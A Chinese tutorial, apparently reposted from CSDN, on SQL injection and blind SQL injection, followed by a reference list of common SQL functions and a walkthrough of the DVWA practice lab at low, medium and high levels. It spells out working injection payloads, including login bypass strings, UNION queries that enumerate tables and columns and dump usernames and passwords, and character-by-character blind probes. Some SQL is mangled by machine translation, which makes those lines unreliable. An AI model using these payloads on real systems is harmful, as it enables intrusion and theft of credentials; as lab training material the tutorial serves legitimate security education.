SQL注入技术分享及DVWA范围清理
SQL 注入攻击是一种常见的网络攻击技术,它利用Web 应用程序中无法验证或错误处理用户输入数据的漏洞。通过将恶意SQL 代码片段注入应用程序的输入字段,攻击者可以操纵后端数据库并执行非预期命令。 SQL注入攻击危害极大,不仅可以造成数据泄露和修改,还可以用来执行恶意代码、获取系统权限,甚至攻击其他系统。
SQL盲注的基本原理
SQL注入是一种网络攻击技术,它利用Web应用程序中的漏洞(例如验证不足或对用户输入数据的过滤不严),使攻击者能够在应用程序内预定义查询语句的末尾插入恶意SQL代码并进行欺骗。数据库服务器。执行任意未经授权的查询以进一步检索数据库中的敏感信息或执行恶意操作。
SQL盲注的工作机制
未经验证的用户输入:攻击者利用Web 应用程序中的漏洞,其中用户输入的数据未经过正确验证或转义。
构建恶意输入:攻击者通常构建包含注入表单字段、URL 参数、HTTP 标头等的恶意SQL 代码的输入。
数据库解析错误:当Web应用程序将恶意输入直接加入到SQL查询中时,数据库服务器会错误地解析输入并执行该输入中的SQL代码。
执行意外操作:攻击者通过执行恶意SQL代码,可以执行数据查询、数据修改、数据删除等未经授权的数据库操作。
信息泄露:攻击者可以通过SQL注入从数据库获取用户名、密码、信用卡信息等敏感信息。
举例说明SQL注入攻击是如何发生的
考虑一个简单的登录页面,其中用户名和密码字段直接连接到SQL 查询以对用户进行身份验证。
典型的SQL 查询语句如下所示:
SELECT * FROM 用户,其中用户名=\’admin\’ AND 密码=\’password\’
但是,如果应用程序未正确验证或避免用户输入,攻击者可能会尝试在用户名或密码字段中输入恶意SQL 代码。例如,攻击者可能在用户名字段中输入以下内容:
\’ 或\’1\’=\’1\’;
这样,原来的SQL查询语句就改为:
SELECT * FROM 用户WHERE 用户名=\’\’ OR \’1\’=\’1\’ –\’ AND 密码=\’密码\’;
— 在SQL 语句中是注释符号,因此数据库服务器会忽略后面的任何内容。所以上面的查询语句实际上是这样的:
SELECT * FROM users WHERE username=\’\’ OR \’1\’=\’1\’;
此查询返回所有用户的记录,因为“1”=“1”始终为真。通过这种方式,攻击者绕过了身份验证并获得了对应用程序的未经授权的访问。
这个例子只是SQL 注入攻击的一种形式。事实上,攻击者可以使用更复杂的SQL代码片段来执行更复杂的操作,例如数据篡改或数据删除。
SQL盲注有哪些分类?
盲注一般分为两类:布尔型和延迟型。
布尔类型为“查询成功”和“查询失败”。根据SQL语句查询的真值或假值,Web程序中有两种不同的回显。这两种不同的回声称为“布尔回声”。
延迟型也称为时间盲注入,如果无法通过布尔盲注入来确定,则通过响应时间来确定。在执行延迟盲注入时,攻击者创建的SQL语句如果满足xx条件则意味着sleep(5),否则不sleep。当数据库执行sleep()时,Web程序与数据库交互时存在延迟,而当用户(攻击者)与Web程序交互时,用户也必须等待数据库延迟。因为它等待网页有延迟,所以攻击者只需要根据页面的响应时间来判断是否满足xx条件即可。 xx条件可以是“数据库名第一位是否为a”等判断语句。
这里,布尔盲注入被归类为一种新型的——错误盲注入。这种错误盲注入与通常所说的错误注入有很大不同。其特点是当攻击者尝试注入SQL代码时出现数据库查询错误。一条错误消息会返回给攻击者,揭示数据库的结构和内容。
盲注的步骤
学生查询示例: SELECT name, Majority FROM Student WHERE Student_id=\’$id\’; 其中$id 是用户输入,假设它是布尔盲注入,并且回显为“查询成功”和“查询“失败”。
步骤1: 找到注入点
如果您研究过SQL 注入,那么您应该能够仅通过查看SQL 语句的结构来发现注入点。
如果没有提供源代码,首先测试字段类型是字符还是数字,然后检查是否有回显,或者需要使用1=1#之类的测试。具体测试一下,首先假设他的SQL语句是select xx from yy where zz=\’$your_input\’;这是因为题中基本上所有的SQL语句都有这个结构,根据这个SQL语句的结构来测试就足够了。
步骤2:构建条件
所谓条件真假,影响SQL语句的查询结果,可以影响网页的回显。例如,输入0\’ 或1=1# 和0\’ 或1=2#(# 是注释字符)。
SELECT name, 大多数FROM Student WHERE Student_id=\’0\’ or 1=1#\’ #查询成功
SELECT 姓名,多数来自学生WHERE Student_id=\’0\’ or 1=2#\’ #查询失败
这里我们可以清楚地看到,不可能存在student_id为0的学生。所以上面的SQL语句的查询结果完全是由or后面的1=1和1=2决定的。=在SQL 中表示“等于或不”,因此1=1 表示1 等于或不等于1。这是一个布尔表达式,唯一可能的结果是True 和False。
这个1=1和1=2可以直接影响整个SQL语句的查询结果,就是这个布尔条件表达式,也就是我们当前在步骤2中构建的条件。
步骤3:注释数据
您现在所需要做的就是将步骤2 中构建的条件替换为插入数据的特定语句。就是这样!
SELECT 姓名,多数来自学生WHERE Student_id=\’0\’ 或substr((select database()),1,1)=\’a\’
SELECT 姓名,多数来自学生WHERE Student_id=\’0\’ 或substr((select database()),1,1)=\’b\’
.
SQL 常用函数
SQL有许多内置函数用于计数和计算。
函数使用语法:
SELECT 函数(列)FROM 表;
1. 字符串函数
连接()
语法:CONCAT(字符串1, 字符串2,)
示例: SELECT CONCAT(\’Hello\’, \’ \’, \’World\’) AS 问候语;
上面和下面都有()
语法:UPPER(字符串)和LOWER(字符串)
示例: SELECT UPPER(\’hello world\’) AS UppercaseString, LOWER(\’HELLO WORLD\’) AS LowercaseString;
修剪()
语法:TRIM([BOTH | LEADING | TRAILING] 从字符串中删除字符)
示例: SELECT TRIM(\’Hello World\’) AS TrimmedString;
子串()
语法(不同的数据库可能有不同的语法;这里以MySQL 为例):SUBSTRING(string, start, length)
示例: SELECT SUBSTRING(\’Hello World\’, 1, 5) AS SubstringResult;
2. 数值函数
圆形的()
语法:ROUND(数字,小数点)
示例: SELECT ROUND(123.4567, 2) AS RoundedNumber;
ABS()
语法:ABS(数字)
示例:选择ABS(-123) 作为绝对值。
CEIL() 和FLOOR()
语法:CEIL(数字)和FLOOR(数字)
示例:为天花板选择CEIL(123.45),为地板选择FLOOR(123.45)。
3. 日期和时间函数
现在()
语法:NOW()
示例:SELECT NOW() AS CurrentDateTime;
CURDATE() 和CURTIME()
语法:CURDATE() 和CURTIME()
示例: SELECT CURDATE() AS CurrentDate, CURTIME() AS CurrentTime;
日期格式()
语法(MySQL 示例):DATE_FORMAT(日期, 格式)
示例: SELECT DATE_FORMAT(NOW(), \’%Y-%m-%d %H:%i:%s\’) AS FormattedDateTime;
日月年()
语法:DAY(日期)、MONTH(日期)、YEAR(日期)
示例: SELECT DAY(NOW()) AS 日、MONTH(NOW()) AS 月、YEAR(NOW()) AS 年;
4. 聚合函数
数数()
语法:COUNT(*) 或COUNT(列名)
示例:SELECT COUNT(*) AS TotalRecords FROM 员工;
和()
语法:SUM(列名)
示例: SELECT SUM(salary) AS TotalSalary FROM 员工;
平均的()
语法:AVG(列名称)
示例: SELECT AVG(salary) AS AverageSalary FROM 员工;
MAX() 和MIN()
语法:MAX(列名) 和MIN(列名)
示例:MAX(Salary) AS MaxSalary、MIN(Salary) AS MinSalary FROM 选择员工。
这些只是SQL 函数中的几个,不同的数据库系统(MySQL、SQL Server、Oracle 等)可能有不同的更具体的函数和语法。使用时请参阅您的数据库系统的文档。
SQL盲注之DVWA靶场通关
步骤(算法、程序)、数据记录和处理、结果分析等。
low等级注入
(1)判断注入点是否存在SQL注入漏洞。
事实证明,可查询描述中的特殊字符不受保护,并且存在注入点。
(2)开始确定字符查询个数
如果是三个,就会报错,提示只有两个字段。
(3) 决定查询结果显示在哪里
(5)版本显示
(4) 获取数据库名称
(5)表名
1\’ And 1=2 Union select 1,TABLE_NAME from information_schema.TABLES where TABLE_SCHEMA=\’dvwa\’ limit 1,1;#
(6) 列名和类型
1\’ 和1=2 连接从information_schema.COLUMNS 选择COLUMN_NAME、COLUMN_TYPE。其中TABLE_SCHEMA=\’dvwa\’ 且TABLE_NAME=\’用户\’ 限制4,1;#
1\’ 和1=2 连接从information_schema.COLUMNS 选择COLUMN_NAME、COLUMN_TYPE。其中TABLE_SCHEMA=\’dvwa\’ 且TABLE_NAME=\’用户\’ 限制4,1;#
(7)表中数据项个数
1\’ and 1=2 Union select 1,count(*) from dvwa.users;#
(8) 用户信息
1\’ and 1=2 Union select 1,CONCAT(user,\’-\’,password) from dvwa.users limit 0,1;#
Medium等级
使用id=1\’ 确定注入类型。
结果是一个错误
使用id=1 和1=1
再次检查,将ID改为1,1=2。
由此可以确定注入方式为数字注入。
获取1 个订单中输入的字段数为2%23
1 尝试订单2% 折扣23
由此我们可以看出,字段数为2。
要获取数据库名称,请键入1 Union select 1,database()%23。
可以看到数据库名称为dvwa。
获取表名1。 union select 1,group_concat(table_name)from information_schema.tables where table_schema=database()%23
单引号无法识别,因此通常的“dvwa”被替换为database(),表名变成了guestbook和users。
获取表中的列(以User为例) 1 Union select 1,group_concat(column_name)from information_schema.columns where table_name=0x7573657273%23
单引号无法识别,因此无法使用“users”,并使用十六进制数字Ox7573657273 来获取所有列名称。
获取特定列的数据(例如获取用户和密码) 1 Union select group_concat(user),group_concat(password)from users%23
High难度
请检查注射类型
您可以通过用单引号关闭它来克服限制1
输入“1”且“1”=“1”
输入“1”且“1”=“2”
获取字段编号输入1\’ order by 2#
请输入1\’ 订单3#
获取数据库名称输入1\’ Union select 1,database()#
数据库名称是dvwa
获取表名input 1\’ Union select 1,group_concat(table_name) from information_schema.tables where table_schema=\’dvwa\’#
获取数据库列输入1\’ Union select 1,group_concat(column_name) from information_schema.columns where table_name=\’users\’#
要检索用户和密码列的内容,请键入1\’ Union select group_concat(user),group_concat(password) from users#。
首先找到注入点并确定注入类型1
1\\
1\’#
从上面返回的结果可以看出,它的退出方法是\’\’。
搜索库名称(最终找到的库名称是root) 1\’ and (select ascii(substr(database(),1,1)) 111) #
1\’ 和(选择ascii(substr(database(),1,1)) 120) #
1\’ and (选择ascii(substr(database(),1,1)) 115) #
1\’ 和(选择ascii(substr(database(),1,1)) 113) #
1\’ and (选择ascii(substr(database(),1,1))=114) #
“o”的ASCLL 代码是111
1\’ and (选择ascii(substr(database(),1,2))=111) #
“t”的ASCLL 代码是116
1\’ and (选择ascii(substr(database(),1,4))=116) #
以上#SQL盲注技术分享及dvwa靶场通关相关内容摘自网络,仅供参考。相关信息请参见官方公告。
原创文章,作者:CSDN,如若转载,请注明出处:https://www.sudun.com/ask/92449.html